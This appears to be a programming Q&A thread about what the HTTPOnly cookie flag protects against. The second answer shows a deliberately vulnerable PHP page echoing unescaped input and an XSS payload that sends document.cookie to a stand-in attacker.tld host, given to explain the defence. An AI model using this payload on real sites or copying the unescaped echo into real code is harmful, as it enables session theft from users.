HTTPOnly Cookies: Security Depends on Client Cooperation?

Question

I've been implementing HTTPOnly cookie-based session handling and have some questions about what HTTPOnly means.

I realise it's a flag that gets passed around in the HTTP header when setting cookies. I also realise that most browsers refuse to allow modification of said cookies via client-side scripting.

The idea, if I've grasped correctly, is that Mr Example browses to an compromised page, his IE9 browser or whatever will reject any attempts at cookie-theft from the planted script.

However, seeing as the cookie is stored on the client-side, the actual HTTPOnly flag means little for anyone determined right? If it's stored on the client-side, then surely the client can find a way to alter the contents outside of a legitimate HTTP request?

If so, am I right in reasoning that HTTPOnly isn't to protect against non-HTTP modification from the client itself, but rather modification via malicious scripts running on a modern enough client? I.e., not blocking potentially-malicious modification of cookies by the client per se, but unknowing modifications specifically?

Answer 1

Yup, that's the exact definition of a HTTPOnly cookie. Of course the client can do whatever it wants to itself - so this isn't surprising. The goal is to protect the client from malicious websites (as opposed to protecting the client from itself).

This segues nicely into one of the Golden Rules of programming, with extra emphasis on game development: Don't trust the client.

Answer 2

Say your website is vulnerable to a XSS attack:

http://victim.tld/yourPage.php:
Hello <?php echo $_GET['name']; ?>

An attacker could create a iframe on his site:

http://attacker.tld/index.php:
<iframe src="http://victim.tld/yourPage.php?name=XSS" display="none">

And by replacing "XSS" (in the url above), with:

<script>document.location='http://attacker.tld/cookieStealer.php?c='+document.cookie;</script>

He (the attacker) could steal cookies from your users (by tricking the into visiting attacker.tld).

To prevent this, always make sure of securing your site for XSS flaws - this can however be tricky if you have lots of code, so one way to help prevent this is to set the "httpOnly" flag in the cookie. In this case, the XSS code: document.cookie would not be able to access the cookie ("warning": this can in very rare cases breake some javascript code. And remember that not all browsers support httpOnly, so make sure to fix the XSS flaws).